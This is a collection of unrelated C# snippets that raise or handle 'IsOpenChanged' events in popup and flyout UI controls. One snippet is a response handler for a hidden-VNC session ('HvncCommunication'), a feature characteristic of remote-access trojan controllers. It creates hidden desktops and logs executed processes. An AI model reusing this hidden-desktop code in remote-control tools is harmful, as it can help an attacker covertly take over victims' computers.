private static void IsOpenChangedAction(DependencyObject d, DependencyPropertyChangedEventArgs e) { if (IsOpenChanged != null) { IsOpenChanged.Invoke(d, e); } }
private void OnIsOpenChanged() { UpdateResizingAdorner(); IsOpenChanged?.Invoke(this, EventArgs.Empty); if (IsPinned) { // Stop pinning SetCurrentValue(IsPinnedProperty, false); } }
public void Close() { if (!CurrentSp.IsOpen) { return; } CurrentSp.Close(); if (IsOpenChanged != null) { IsOpenChanged.Invoke(CurrentSp.IsOpen); } }
private void OnIsOpenChanged() { IsOpenChanged?.Invoke(this, EventArgs.Empty); if (!IsOpen) { if (PopupAnimation == PopupAnimation.Fade && SuppressFadeAnimation) { StopAnimation(); } Closing?.Invoke(this, EventArgs.Empty); } }
public override void ResponseReceived(byte[] parameter) { switch ((HvncCommunication)parameter[0]) { case HvncCommunication.ResponseDesktopCreated: IsOpen = true; IsOpenChanged?.Invoke(this, EventArgs.Empty); RenderEngine = new RenderEngine(BitConverter.ToInt32(parameter, 1), BitConverter.ToInt32(parameter, 5), RequestInformationDelegate); RenderEngineUpdated?.Invoke(this, EventArgs.Empty); LogService.Receive("Desktop created"); break; case HvncCommunication.ResponseUpdate: RenderEngine.Update(new Serializer(typeof(WindowUpdate)).Deserialize <WindowUpdate>(parameter, 1)); break; case HvncCommunication.ResponseUpdateFailed: RenderEngine?.UpdateFailed(); break; case HvncCommunication.ResponseDesktopNotOpened: LogService.Error("Desktop was not initialized"); break; case HvncCommunication.ResponseDesktopClosed: IsOpen = false; IsOpenChanged?.Invoke(this, EventArgs.Empty); RenderEngine.Stop(); RenderEngine.Dispose(); RenderEngine = null; RenderEngineUpdated?.Invoke(this, EventArgs.Empty); break; case HvncCommunication.ResponseProcessExecuted: LogService.Receive("Process executed"); break; default: throw new ArgumentOutOfRangeException(); } }
private void RaiseIsOpenChangedEvent() { IsOpenChanged?.Invoke(this, new EventArgs()); }
private void RaiseIsOpenChanged() { IsOpenChanged?.Invoke(this, null); }
/// <summary> /// Called when popup IsOpened changes /// </summary> private void OnIsOpenChanged(bool oldValue, bool newValue) { if (PlacementTarget == null || Content == null) { throw new Exception("PlacementTarget is null"); } if (PopupLayout == null) { throw new Exception("PopupLayout is null. Set app popup layout when app start."); } this.AbortAnimation(_openingAnimationName); this.AbortAnimation(_closingAnimationName); if (newValue) { // If actual content is not created if (_actualContent == null) { if (Content is View content) { _actualContent = content; } else if (ContentTemplate != null) { _actualContent = ContentTemplate.CreateContent() as View; if (Content != null) { Binding bind = new Binding("Content"); bind.Source = this; bind.Mode = BindingMode.OneWay; _actualContent.SetBinding(View.BindingContextProperty, bind); } } } if (_popupRootLayout.Content != _actualContent) { _popupRootLayout.Content = _actualContent; } _openPopups.Add(this); InitializeForOpeningAnimation(); SetContentLayoutOptions(Placement); // Create opening animation _openingAnimationGroup = CreateOpeningAnimation(); if (PopupLayout.Children.Contains(_popupRootLayout) == false) { // Add popup to layout PopupLayout.Children.Add(_popupRootLayout); } if (_openingAnimationGroup != null) { _openingAnimationGroup.Commit(this, _openingAnimationName, 64, (uint)OpeningAnimation.Duration, Easing.Linear, (double p, bool isAborted) => { AnimationFinished?.Invoke(this, IsOpen); }); } else { AnimationFinished?.Invoke(this, IsOpen); } IsOpenChanged?.Invoke(this, IsOpen); OnOpened(); } else { _openPopups.Remove(this); // Create closing animation _closingAnimationGroup = CreateClosingAnimation(); if (_closingAnimationGroup != null) { _closingAnimationGroup.Commit(this, _closingAnimationName, 64, (uint)ClosingAnimation.Duration, Easing.Linear, (arg1, arg2) => { if (arg2 == false) { PopupLayout.Children.Remove(_popupRootLayout); } AnimationFinished?.Invoke(this, IsOpen); }); } else { PopupLayout.Children.Remove(_popupRootLayout); AnimationFinished?.Invoke(this, IsOpen); } IsOpenChanged?.Invoke(this, IsOpen); OnClosed(); } }